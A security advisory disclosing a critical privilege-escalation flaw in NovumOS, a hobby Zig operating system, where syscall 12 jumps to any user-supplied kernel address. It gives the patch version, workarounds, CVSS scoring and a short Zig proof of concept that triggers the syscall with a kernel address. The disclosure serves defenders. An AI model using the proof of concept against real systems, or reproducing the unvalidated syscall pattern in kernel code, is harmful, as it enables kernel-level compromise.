Arbitrary Code Execution via Syscall 12 (JumpToUser)

Critical **MinecAnton209** published **GHSA-xjx3-gjh9-45fm** 3 days ago

Package

MinecAnton209/NovumOS (Zig)

Affected versions	Patched versions
<=0.23	v0.24

Description

Summary

Syscall 12 (`JumpToUser`) allows Ring 3 user-mode processes to jump to arbitrary kernel addresses, achieving arbitrary code execution in Ring 0 (kernel context). This is a privilege escalation vulnerability affecting NovumOS, a custom 32-bit operating system written in Zig and x86 Assembly.

Impact

Arbitrary Code Execution in Ring 0 — Syscall 12 accepts an arbitrary entry point from user-space registers (EBX), allowing execution of arbitrary code in kernel context without any validation.

Attack Vector: Local. Any user process can trigger this vulnerability by invoking syscall 12 with a kernel address.

Affected Component: `zig/user.zig:198-203` (syscall handler)

Patches

Status: Patched in v0.24

Workarounds

1. **Restrict syscall access** — Run system in single-user mode without Ring 3
2. **Disable user-mode processes** — Only run kernel shell, no user processes

---

PoC (Zig)

```
// Zig user-mode code (Ring 3)
pub extern fn syscall12(entry: usize) void;

pub fn escalate_to_ring0() void {
    // Jump to arbitrary address in kernel space (e.g., IDT at 0x100000)
    syscall12(0x100000);
}

// Trigger (from Ring 3)
asm volatile ("int $0x80"
    :
    : {eax} @as(u32, 12),
      {ebx} 0x100000  // entry point
    : "memory");
```

Severity

Critical 9.4 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-40317

Weaknesses

No CWEs

Credits

MinecAnton209 Finder